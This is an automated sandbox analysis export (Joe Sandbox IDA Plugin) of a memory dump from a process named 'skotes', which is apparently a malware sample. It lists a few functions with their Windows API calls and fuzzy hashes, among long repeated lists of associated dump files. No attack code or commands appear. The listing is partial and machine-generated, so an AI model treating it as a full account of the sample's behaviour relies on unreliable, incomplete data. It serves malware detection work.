Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ec38e722fca4f67cc0d5ea5e0eb5e4d47b0ffbb461f2f5dd2d2eb59a72e53d8d
Instruction ID: 22832e9b38fb3ada04f2a6d9d17cca025182c69e865a1bef5129dd8ab0d89a30
Opcode Fuzzy Hash: ec38e722fca4f67cc0d5ea5e0eb5e4d47b0ffbb461f2f5dd2d2eb59a72e53d8d
Instruction Fuzzy Hash: 1DE0CD117BD3009BF61033FC6956F2D619887E6719F2165B5EA34C60D199A0554145E3

Function 00916D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00916D11
Sleep.KERNEL32(00007530), ref: 00916D25

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 5da7daf4b2ec786a7099526009387ab97c148ee3f3397cd66711f5f3fc7d0f0e
Instruction ID: af536e49010f9f6a75695ab0c0cb51a66b2c04ec836b6155aa76292452b45713
Opcode Fuzzy Hash: 5da7daf4b2ec786a7099526009387ab97c148ee3f3397cd66711f5f3fc7d0f0e
Instruction Fuzzy Hash: F0D08C38BD4318F6F23007202C0BFA6AA209B4AF11F25484473883F0D0C1E83040C7E8

Function 00937124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0093705B,?,?,00000000,00000000), ref: 00937166

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 6a518c2cb672284be182a97b2c34246b80b2f337692bc2379b5864ecbb292fe1
Instruction ID: 86c28cdb629418aae7fc3711e39cc31127b17b3465267ed46daa77bed6b40f1d
Opcode Fuzzy Hash: 6a518c2cb672284be182a97b2c34246b80b2f337692bc2379b5864ecbb292fe1
Instruction Fuzzy Hash: E11121B390810CABDB10DFE5C881EDFB7BDAF49310F505266E511E2180EB70EA45CB61

Function 0093AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0093AC8D

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 92868925c6518719c4196c7ce892be06e5f4937c03fbc6d4becab2bdd1ee701b
Instruction ID: 5b00e39492ecec58bc4c097c2b62376969cd7e5e85599ffb872dea7b8aeb9d6b
Opcode Fuzzy Hash: 92868925c6518719c4196c7ce892be06e5f4937c03fbc6d4becab2bdd1ee701b
Instruction Fuzzy Hash: 0C1115B1A0420AAFCF09DF58E941A9A7BF9EF48304F054069F809EB251D670EE21DB65

Function 0093B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,707E67F5,?,?,0091D3FC,707E67F5,?,00917A8B,?,?,?,?,?,?,00907465,?), ref: 0093B07E

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 29e5435673ff5ec2edbe969a789765d0d5ad8377d127ad2c51d15546db9a249c
Instruction ID: 5607d4ec036fea4aacbe465f7d8ae7c11ade30f23bd28636f4e228dae3f1a0f0
Opcode Fuzzy Hash: 29e5435673ff5ec2edbe969a789765d0d5ad8377d127ad2c51d15546db9a249c
Instruction Fuzzy Hash: 4EE06D3614622696EB3932659D42B6FB64CDB823A0F151610FFB8D6194EB60DC008DE0

Function 00941775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00941B65,?,?,00000000,?,00941B65,00000000,0000000C), ref: 00941792

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
